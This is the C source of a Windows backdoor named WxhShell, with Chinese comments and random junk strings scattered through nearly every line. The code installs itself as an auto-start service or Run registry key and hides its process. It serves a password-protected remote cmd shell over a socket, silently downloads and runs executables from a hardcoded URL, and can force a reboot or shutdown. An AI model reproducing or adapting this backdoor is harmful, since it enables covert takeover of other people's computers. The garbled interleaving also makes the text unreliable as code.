(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bQvhBa? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5LX%S .CW !y$:}W?_ if (!NtQueryInformationProcess) return 0; CE|iu!-4 aPwUC:>`D hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t'e\Z2 if(!hProcess) return 0; [ ,&O Irc(5rD7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m8T< x> n9 %&HDl4 CloseHandle(hProcess); b2tUJ2p ppP0W`p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R<L<kChg if(hProcess==NULL) return 0; SSAf<44e hr/H vB HMODULE hMod; 0|}]=XN^ char procName[255]; "c5bz unsigned long cbNeeded; 61 @;3yV pBxyq"z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W5^<4Ya! ${F4x "x CloseHandle(hProcess); +F4SU(T q` 0wG3 if(strstr(procName,"services")) return 1; // 以服务启动 rqi/nW FK+`K< return 0; // 注册表启动 s=H|^v } 8#{DBWU _C%:AFPP> // 主模块 Xl %ax!/ int StartWxhshell(LPSTR lpCmdLine) ?'IY0^ {
Tb[1\ SOCKET wsl; z[sP/{~z BOOL val=TRUE; k9_c<TSzu int port=0; Ncr*F^J4 struct sockaddr_in door; YAsE,M+ =j~vL`d2] if(wscfg.ws_autoins) Install(); a/{M2 VR XK/dZ port=atoi(lpCmdLine); K(3_1*e )j+G4 if(port<=0) port=wscfg.ws_port; X-<l+WP JC.nfxG@: WSADATA data; .Cz9?]jyI if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _+6aD|7x J3z:U&%= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tJvs
?eZ) setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _'0C70 door.sin_family = AF_INET; NZL$#bRB door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;i,3KJ[L door.sin_port = htons(port); O%)Wo?)HM ["1Iz{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { };;k5z I% closesocket(wsl); ms{iQ:'9 return 1; _]t^F9l } wZ%a:Z4TcM #oD; ?Mi if(listen(wsl,2) == INVALID_SOCKET) { $4:Se#nl closesocket(wsl); He)!Ez\X return 1; _Q9I
W } z=6zc-$y 9 Wxhshell(wsl); !T"jvDYH WSACleanup(); IwVdx^9 XM57 UG return 0; 61W[ 1W'0h$5^" } X]4j&QB ]S 3l' " // 以NT服务方式启动 fZavZ\qU VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t`")Re_j { cd(YH! 3 DWORD status = 0; dqgH"g DWORD specificError = 0xfffffff; 6FkBb!ASk #SX-Y)> 1@ serviceStatus.dwServiceType = SERVICE_WIN32; ez14f$cJ+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; mMw--Gc? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dnp><% serviceStatus.dwWin32ExitCode = 0; )dfwYS*[n serviceStatus.dwServiceSpecificExitCode = 0; e0ULr!p serviceStatus.dwCheckPoint = 0; Z</57w#-7 serviceStatus.dwWaitHint = 0; wE3fKG. LUzn7FZk hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2GxkOch if (hServiceStatusHandle==0) return; Z 5 Xis"j d]K$0HY status = GetLastError(); uH |:gF^ if (status!=NO_ERROR) P?hB`5X { +-:o+S`q~ serviceStatus.dwCurrentState = SERVICE_STOPPED; QTospHf` serviceStatus.dwCheckPoint = 0; !LJ4
S
serviceStatus.dwWaitHint = 0; 2QgD< serviceStatus.dwWin32ExitCode = status; 9/h[(qvT serviceStatus.dwServiceSpecificExitCode = specificError; 8l*h\p:Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); FGzn|I return; X@ S~D7|ja } q.bxnta" %J8uVD.2 serviceStatus.dwCurrentState = SERVICE_RUNNING; Ip|=NQL> serviceStatus.dwCheckPoint = 0; k_`h (R serviceStatus.dwWaitHint = 0; U&W/Nj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); # TZ` } o]DYS,v 30W.ks5( // 处理NT服务事件,比如:启动、停止 WOQ>]Z VOID WINAPI NTServiceHandler(DWORD fdwControl) E?FUr?-[ { *)L~1;7j> switch(fdwControl) gu"@*,hL { @rS(3wu_& case SERVICE_CONTROL_STOP: 7U!-_)n{ serviceStatus.dwWin32ExitCode = 0; U%n>(!d serviceStatus.dwCurrentState = SERVICE_STOPPED; >U)>~SQf serviceStatus.dwCheckPoint = 0; P~;1adi3 serviceStatus.dwWaitHint = 0; "hnvND4= { /\MkH\zg SetServiceStatus(hServiceStatusHandle, &serviceStatus); X0knM}5 } LKBh{X0%( return; mNOxe case SERVICE_CONTROL_PAUSE: XXA.wPD- serviceStatus.dwCurrentState = SERVICE_PAUSED; |W*5<2Q9 break; I)MRAo case SERVICE_CONTROL_CONTINUE: {f\{{JJ] serviceStatus.dwCurrentState = SERVICE_RUNNING; %c@PTpAM break; bwI"V&* case SERVICE_CONTROL_INTERROGATE: +ryB*nT break; M'VJE|+t }; _UV_n!R SetServiceStatus(hServiceStatusHandle, &serviceStatus); O1!YHo } (duR1Dz kqjj&{vPFJ // 标准应用程序主函数 3Ww 37V>h int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -<:w{cV { 85USMPF *D67&/g. // 获取操作系统版本 A8g_BLj!e OsIsNt=GetOsVer(); 2(5/#$t GetModuleFileName(NULL,ExeFile,MAX_PATH); eo~b]D /!%?I#K{Wq // 从命令行安装 tn;{r if(strpbrk(lpCmdLine,"iI")) Install(); /VD[: sU7 UrO&K]Z // 下载执行文件 S`Z[MNY if(wscfg.ws_downexe) { NA$%Up if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ipE|)Ns WinExec(wscfg.ws_filenam,SW_HIDE);
[?bq4u` } U6.hH%\}@ v'm-A d+4t if(!OsIsNt) { yxi&80$ // 如果时win9x,隐藏进程并且设置为注册表启动 %, S{9q HideProc(); sR^b_/ElxT StartWxhshell(lpCmdLine); t'Zv)Wu1E } ]Upr<! else vl~HV8MAv if(StartFromService()) UW1i%u
k // 以服务方式启动 51-'*Y StartServiceCtrlDispatcher(DispatchTable); }0sLeGJ! else 5"ooam3 // 普通方式启动 ..5.": StartWxhshell(lpCmdLine); vdigw.=z cl`7|;v|? return 0; y
t7 >, } M9G?^mW1sT %K,cGgp^) bVzJOBe kek/C`7 =========================================== ?_r{G7|D S LNq%7apx Sk-Q 4D^ Lyz8DwZ U'u_'5{ ~NB|BwAh " CM7NdK?I \58bz<u" #include <stdio.h> hl0\$ #include <string.h> hAsReZ? #include <windows.h> _ gGA/ #include <winsock2.h> U2LD_-HZ #include <winsvc.h> rGrR; #include <urlmon.h> G9Noch9
g 4 Dy1M}7 #pragma comment (lib, "Ws2_32.lib") @R<z=n" #pragma comment (lib, "urlmon.lib") vz)R84 {Us^4Xe #define MAX_USER 100 // 最大客户端连接数 B@S~v+Gr #define BUF_SOCK 200 // sock buffer |bhv7(_ #define KEY_BUFF 255 // 输入 buffer *>2e4j] BHiG3fP #define REBOOT 0 // 重启 m WHyk "l #define SHUTDOWN 1 // 关机 !p76I=H% 2%pU'D: #define DEF_PORT 5000 // 监听端口 _BONN6=*y e*}:tH #define REG_LEN 16 // 注册表键长度 UFLx'VXd #define SVC_LEN 80 // NT服务名长度 `PUxR8y s}-j.jzB{ // 从dll定义API $j8CF3d.6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); fP6\Ur typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =M}tet
} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JH u>\{ 8V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _s<s14+od a47e // wxhshell配置信息 n 83Dt*O struct WSCFG { %YbL%i|U int ws_port; // 监听端口 a5aHv/W#P char ws_passstr[REG_LEN]; // 口令 3t9CN
)* int ws_autoins; // 安装标记, 1=yes 0=no cucmn*o? char ws_regname[REG_LEN]; // 注册表键名 V7`vLs- char ws_svcname[REG_LEN]; // 服务名 Ya>AI.!K char ws_svcdisp[SVC_LEN]; // 服务显示名 [qxU
\OSC char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vf.*!`UH char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \B:k|Pw6~ int ws_downexe; // 下载执行标记, 1=yes 0=no We\i0zUU char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s: iBl/N} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c`&g.s@N\ @!j6y(@ }; 8TG|frS UG_PrZd // default Wxhshell configuration h?$J;xn struct WSCFG wscfg={DEF_PORT, E0l&d "xuhuanlingzhe", x^ `IZ{! 1, !* KQ2#e "Wxhshell", Jw#7b[a "Wxhshell", ,0ilNi> "WxhShell Service", &5.J y2hO] "Wrsky Windows CmdShell Service", 3,`M\#z%K "Please Input Your Password: ", KhP_U{)D 1, U&=pKbTe "http://www.wrsky.com/wxhshell.exe", Rkp
+}@Y_ "Wxhshell.exe" Bo14t*( }; q`.=/O' Lb?q5_ // 消息定义模块 )q.ZzijG/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8 R7w$3pp\ char *msg_ws_prompt="\n\r? for help\n\r#>"; Nr+~3:3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OCJt5#e~A char *msg_ws_ext="\n\rExit."; ~ ^D2]j char *msg_ws_end="\n\rQuit."; p~Cz6n char *msg_ws_boot="\n\rReboot..."; 7+}WU 4 char *msg_ws_poff="\n\rShutdown..."; [8q`~S%-] char *msg_ws_down="\n\rSave to "; RZKx!X4=q s$,G5Feub char *msg_ws_err="\n\rErr!"; PIXqd, char *msg_ws_ok="\n\rOK!"; "FhC"}N k}I65 ^l# char ExeFile[MAX_PATH]; nP<u.{q
L int nUser = 0; C9!FnvH HANDLE handles[MAX_USER]; :475FPy] int OsIsNt; <}h<By) tN_=&|{WE4 SERVICE_STATUS serviceStatus; tIV{uVM[|D SERVICE_STATUS_HANDLE hServiceStatusHandle; =tY%`e lkly2|wA // 函数声明 BlZB8KI~ int Install(void); ~c]
q:pU2 int Uninstall(void); n%G[Y^^, int DownloadFile(char *sURL, SOCKET wsh); G@Sqg int Boot(int flag); Z!Z{Gm3 void HideProc(void); a(*"r:/lD int GetOsVer(void); )f8 ;ze int Wxhshell(SOCKET wsl); &j ;91wEn void TalkWithClient(void *cs); 7E#h(bt j int CmdShell(SOCKET sock); ^i2>Ax&T int StartFromService(void); EVBOubV int StartWxhshell(LPSTR lpCmdLine); ;DhAw 1 N`$F>E,T% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C[hNngb7R VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ayv:Pv@ V6_5v+n // 数据结构和表定义 );yZyWDV SERVICE_TABLE_ENTRY DispatchTable[] = ,3iD/8_ { 0v9i43[S|J {wscfg.ws_svcname, NTServiceMain}, n/ :#: {NULL, NULL} =hd0Ui>x }; t Zm`(2S +5I'? _{V // 自我安装 6v]`s int Install(void) dZ8ldpf8 { I Z*) char svExeFile[MAX_PATH]; (v
KJyk+Y HKEY key; 2hso6Oy/v{ strcpy(svExeFile,ExeFile); o2bmsnXQ hO{&bY0 // 如果是win9x系统,修改注册表设为自启动 I$x<B7U if(!OsIsNt) { 3Nwix_&S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yB/F6/B~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;($xAAR RegCloseKey(key); 9z{g3m70@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tS5J{j>T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #G?#ot2o RegCloseKey(key); f*88k='\W return 0; e6H}L:; } 4p+Veo6B } i%F2^R@!q/ } Csp$_uDi else { 1zG6^U ;I80<SZ // 如果是NT以上系统,安装为系统服务 J>G'H) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EAm31v C if (schSCManager!=0) &OE-+z { P*>?/I`G SC_HANDLE schService = CreateService fVa z'R ( k h*WpX schSCManager, +4Wl wscfg.ws_svcname, m8x?`Gw~jw wscfg.ws_svcdisp, %K8YZc(& SERVICE_ALL_ACCESS, t6`(9o@} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KF@%tR}V{ SERVICE_AUTO_START, AZ^>osr SERVICE_ERROR_NORMAL, Anpp`>}N svExeFile, 6I=xjgwvf NULL, . XbDb NULL, 8.^`~ta NULL, N?#L{Yt NULL, Zn40NKYc NULL t2.jg?`k ); X(17ESQ/Y if (schService!=0) \}9)`1D { F
Pjc;zNA CloseServiceHandle(schService); (fr=[m$` CloseServiceHandle(schSCManager); -^t.eZ*| strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d2US~.;>l strcat(svExeFile,wscfg.ws_svcname); VPuo!H if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p\#;(pf}s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'rFLG+W RegCloseKey(key); [ +CFQf> return 0; ]\>MDH }
c&%3k+j } xaB#GdD CloseServiceHandle(schSCManager); 7mv([}Va } nRw.82eK. } 2XV|( @MFEBc} return 1; aO ?KRn } 5T9[a "R-j // 自我卸载 oRcP4k;d= int Uninstall(void) 4T"L#o1 { r8N)]HsZH HKEY key; )ezkp%I5D 5 ';[|f if(!OsIsNt) { ;9fWxH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EV* |\ te RegDeleteValue(key,wscfg.ws_regname); -iW>T5f RegCloseKey(key); S;iD~> KP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !B{(EL=g RegDeleteValue(key,wscfg.ws_regname); 1cMdoQ RegCloseKey(key); hBcklI return 0;
E5|GP } t1oTZ } FEopNDy@y } NU{eoqaT else { 0pB'^Q{ P@n
rcgM. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \k6OP if (schSCManager!=0) < 0S\P=\ { 'u%_Ab_H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iWUxB28 if (schService!=0) ^ yF
Wvfh4 { :x3DuQP if(DeleteService(schService)!=0) { 6 W$m,3Dg CloseServiceHandle(schService); i*09m^r CloseServiceHandle(schSCManager); QZO<'q`L return 0; +:c}LCI9< } yd45y}uS;F CloseServiceHandle(schService); U}=H1f, } M3GFKWQI,` CloseServiceHandle(schSCManager); 6OQ\f,h@ } (f#{<^ gd } )^)|b5, ;D4
bxz0ou return 1; (V/!0Lj } I3l1 _ bOV]!)o // 从指定url下载文件 Nii5}, int DownloadFile(char *sURL, SOCKET wsh) Ur""&@ { :N
xksL^ HRESULT hr; ,>TDxI; char seps[]= "/"; `sRys oW char *token; Q2@yUDd! char *file; q^@*k,HG char myURL[MAX_PATH]; {w99~? char myFILE[MAX_PATH]; ,?
&$c+ 1ahb:Mjv strcpy(myURL,sURL); XFww|SG$ token=strtok(myURL,seps); $uK[[k~=S while(token!=NULL) E`iE]O { lx82:_ file=token; y] $-:^ token=strtok(NULL,seps); oYeFOw` } &v+Hl^ cn_ *,\} GetCurrentDirectory(MAX_PATH,myFILE); LQ"xm strcat(myFILE, "\\"); H.2aoZ-w strcat(myFILE, file); +j6^g* send(wsh,myFILE,strlen(myFILE),0); s!
sG)AR.J send(wsh,"...",3,0); j2%#xZ{33 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mi sPJO&QD if(hr==S_OK) v #Q(g/^ return 0; B :1r;8{j else \&Oc}] return 1; ]#$rTWMl' (G{2ec:? } ~$4!C'0 v%Su#xq/ // 系统电源模块 7)Bizlf int Boot(int flag) I{u+=0^Y { o7:"Sl2AD HANDLE hToken; ~T'$gl TOKEN_PRIVILEGES tkp; ')E4N+h/ 88atj+N] if(OsIsNt) { LO,k'gg< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >vQKCc|93 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lMXLd91 tkp.PrivilegeCount = 1; QPsvc6ds tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k=5v
J72U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t$U eks if(flag==REBOOT) { +r__>V, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5cC)&}I return 0; %0eVm
} p{rzP,Pb& else { th|TwD&mO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ebB8.(k9G3 return 0; 0J9Ub
} YoRD9M~iG~ } G/}nwj\ else { K6oQx)| if(flag==REBOOT) { A)o%\j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f<2<8xS return 0; G%fNGQwT } Kdb:Q0B else { ^g N?Io if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s!K9-qZl< return 0; KHt#mQy)9 } 1VO>Bh.Wm } g6<D 1r [S T7CrwC
return 1; .?-]+-J?` } 1BA5| P;lDri // win9x进程隐藏模块 %;tBWyq}_ void HideProc(void) u=!n9W~" { e{IwFX IgtTYxI HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J
k FZd if ( hKernel != NULL ) U^xtS g { YH$whJ`W0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w,zgYX& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); KH76Vts FreeLibrary(hKernel); WEugm603 } ,[ M^rv e5.sqft return; FKu^{'Y6E0 } /hbdQm Ng<oz*>U // 获取操作系统版本 H}&4#CQ'! int GetOsVer(void) TY*q[AWG { &+F}$8, OSVERSIONINFO winfo; \"hP*DJ" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ALnE[}N6, GetVersionEx(&winfo); B"fKv0 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /kK:{ return 1; Hqm1[G) else BvV!?DY4 return 0; )qV&sru.$ } LDv>hzo )1S"D~j- // 客户端句柄模块 \{M/Do: int Wxhshell(SOCKET wsl) =OF]xpI'&a { 0w
]
pDj SOCKET wsh; gpzZs<ST struct sockaddr_in client; SI@Yct]<g DWORD myID; 9q
f=P3 -
-H%FYF` while(nUser<MAX_USER) :~+m9r { 7`Bwo*Y int nSize=sizeof(client); kv'gs+,e wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d<B=p&~ if(wsh==INVALID_SOCKET) return 1; K_E- Hgg_ 7[u$!.4{* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Stxrgmu if(handles[nUser]==0) H?<ceK'e closesocket(wsh); B(|dT66K else hO}nc$S nUser++; nvnJVkL9s } ?e+$?8l[3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1brKs-z /N82h`\n return 0; 0I@Cx{$ } ac??lHtH9 `SSUQ#@ // 关闭 socket rCdf*; void CloseIt(SOCKET wsh) bv8GJ # { T hLR<\ closesocket(wsh); !`F^LXGA nUser--; @s/0 .7 ExitThread(0); hz_F^gF } v"a.%"oN8 O:3DIT1#> // 客户端请求句柄 i(@<KH void TalkWithClient(void *cs) bZsg7[: C { z@n779 i !u=,b fyH SOCKET wsh=(SOCKET)cs; N`%f+eT( char pwd[SVC_LEN]; ]w[T_4l char cmd[KEY_BUFF]; [e+$jsPl char chr[1]; Pb-Ft= int i,j; v<U +&D{ M~&X?/8 while (nUser < MAX_USER) { nzK"eNDN. 3?R QPP if(wscfg.ws_passstr) { :},/D*v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .JkF{&=B //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &k2nt //ZeroMemory(pwd,KEY_BUFF); znl_~:.4]X i=0; Tx'ctd#Y while(i<SVC_LEN) { N$SJK +B0G[k7 // 设置超时 v/B:n
fd_set FdRead; rv?d3QqIC struct timeval TimeOut; ~NtAr1 FD_ZERO(&FdRead); qxe%RYdA'j FD_SET(wsh,&FdRead); qW6}^aa TimeOut.tv_sec=8; SMdkD]{g TimeOut.tv_usec=0; hMiuv_EO! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b_JW3l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U\Hd?&`9gz SZm)`r\A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W=k%aB?p pwd=chr[0]; ;c_pa0L if(chr[0]==0xd || chr[0]==0xa) { w+0Ch1$ pwd=0; /o_h'l|PS break; b|HH9\ } [d_sd i++; zsx12b^w } WrGz` f{Dc R" // 如果是非法用户,关闭 socket MYb^ILz H3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C8 b%r|^# } Ag!#epi{0 GCgpe(cQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G$D6#/rR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4U*uH H}$hk while(1) { An%V>a-[ >WW5Apy[ ZeroMemory(cmd,KEY_BUFF); UUt631 p3NTI /- // 自动支持客户端 telnet标准 -)Y?1w j=0; %Jpb&CEY while(j<KEY_BUFF) { =!`\=!y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >5jHgs# cmd[j]=chr[0]; Uieg4I ro if(chr[0]==0xa || chr[0]==0xd) { UT9=S21 cmd[j]=0; HGgw<Os-k break; \O7?!i } Tcglt>tj" j++; Ht'jm ( } '\2lWR]ndd Z)U#5|sf // 下载文件 ;')T}wuq if(strstr(cmd,"http://")) { 0CD2o\`8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); G"BoD 5m if(DownloadFile(cmd,wsh)) ):_x send(wsh,msg_ws_err,strlen(msg_ws_err),0); d%istFL) else zq5_&AeW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )^&)f!f } A_t<SG5
else { R<!WW9IM B9_0 Yq switch(cmd[0]) { [\ JZpF A/U tf0{3" // 帮助 n]B)\D+V^ case '?': { sv^;nOAc send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (8r?'H8ZO break; [)gvP' } 6wWA(![w" // 安装 k*4?fr case 'i': { DOXRU5uP3 if(Install()) ~~ON!l9n send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hc@Z7eQ3^ else r[$Qtj Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FVsNOU break; #oYX0wvl } 9tS&$-
// 卸载 ]T+.kC
M case 'r': { >NE]TZ.F if(Uninstall())
YV 9*B send(wsh,msg_ws_err,strlen(msg_ws_err),0); qR_"aQ7s2 else UY**3MK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ %z5]w break; l1odkNf| } rr4yJ;qpeP // 显示 wxhshell 所在路径 p Nu13o~ case 'p': { %a/O7s 6 char svExeFile[MAX_PATH]; ,>(M5\Z/c strcpy(svExeFile,"\n\r"); H[x 9 7r strcat(svExeFile,ExeFile); ji(S ?^ send(wsh,svExeFile,strlen(svExeFile),0); D0QXvrf break; t:M({|m Y } sI`i // 重启 #k=!>%+E case 'b': { f|VP_o< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CRWO R pP if(Boot(REBOOT)) qc\o>$-:` send(wsh,msg_ws_err,strlen(msg_ws_err),0); }7$\F!R else { aG|)k, closesocket(wsh); _@jKFDPL ExitThread(0); UsQv!Cwu^ } 2$NP46z} break; RpLm'~N' } q@(N 38D // 关机 W,agPG\+ case 'd': { j7-#">YL send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]-.Q9cjc$q if(Boot(SHUTDOWN)) %
wRJ"T`Tt send(wsh,msg_ws_err,strlen(msg_ws_err),0); @V :b Co else { of& vQ closesocket(wsh); nTu" ExitThread(0); oS_p/$F, } <R{\pz2w break; /gFyow1W } 6}ax~wYct // 获取shell uR"]w7= case 's': { +[2lS54"W4 CmdShell(wsh); 00pHnNoxW closesocket(wsh); 1shvHmrV ExitThread(0); !#iP)"O break; hGus!p"lw } db%`-UST // 退出 P6=|C;[ case 'x': { >Ft jrEB send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `ZefSmb CloseIt(wsh); FpRK^MEkG break; #3CA } h V8A<VT // 离开 Pq4sv`q)S case 'q': { SyYa_=En send(wsh,msg_ws_end,strlen(msg_ws_end),0); _ve7Is`/ closesocket(wsh); -`?V8OwY] WSACleanup(); d'-^VxO0 exit(1); Dkdm~~Rr break; \aW5V: ? } Hh@mIusj } Y66 vJ<lM } 2=3iA09px E>V8|Hz; // 提示信息 5!cplx=< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (~#PzE: } zu|pL`X } lMO0d_:b1 Q'=!1^& return; aVtwpkgZ } 4*dT|NU "1#,d#Q $ // shell模块句柄 1%=,J'AH int CmdShell(SOCKET sock) i'EXylb { 5g&'n STARTUPINFO si; a,tP.Xsl ZeroMemory(&si,sizeof(si)); j/Kw-h ,5" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kc{wv/6}T si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T@S+5( PROCESS_INFORMATION ProcessInfo; ]jYl:41yI char cmdline[]="cmd"; dvj`%?= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 54)}^ftY^ return 0; g{ a0,B/j } uIPR*9~6o $i`YtV // 自身启动模式 kdo)y(fn@ int StartFromService(void) FVpe*] { 3sw1y typedef struct ~|!lC}!IKL { eX$Biv1N DWORD ExitStatus; Sn+Yi DWORD PebBaseAddress; 7vWB=r>5@ DWORD AffinityMask; ~gAx DWORD BasePriority; }z*p2)v` ULONG UniqueProcessId; R`<E3J\* ULONG InheritedFromUniqueProcessId; @F1pu3E } PROCESS_BASIC_INFORMATION; 7)]G"m{ A6Qi^TI PROCNTQSIP NtQueryInformationProcess; 4@Qq5kpk* $H9xM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C/$IF M< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L@ay4,e.bz >pYgF=J HANDLE hProcess; /za,&7sf PROCESS_BASIC_INFORMATION pbi; ]Lh\[@#1f WgL!@g HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NdZ:
7 if(NULL == hInst ) return 0; ~& l`" 3A9|{Vaz+6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qjFgy)qV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Yk5kC0B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lV1|\~?4 MWuVV=rd8a if (!NtQueryInformationProcess) return 0; "N;|~S)w! S,v`rmI hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); - t+Mh. if(!hProcess) return 0; 'F~u \m=E B?4\IXek if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8BN'fWl&E &d2/F i+ CloseHandle(hProcess); o]j* <eI;Jph5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a"zoDD/ if(hProcess==NULL) return 0; g$tW9 Q BCj&z{5"7e HMODULE hMod; ?b0\[ char procName[255]; ,)RdXgCs unsigned long cbNeeded; B+<k,ad Q9' p2@Z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AjS5 oMVwIdf CloseHandle(hProcess); j{PX ~/ :8ZxO wwv if(strstr(procName,"services")) return 1; // 以服务启动 Y `{U45 (!b:
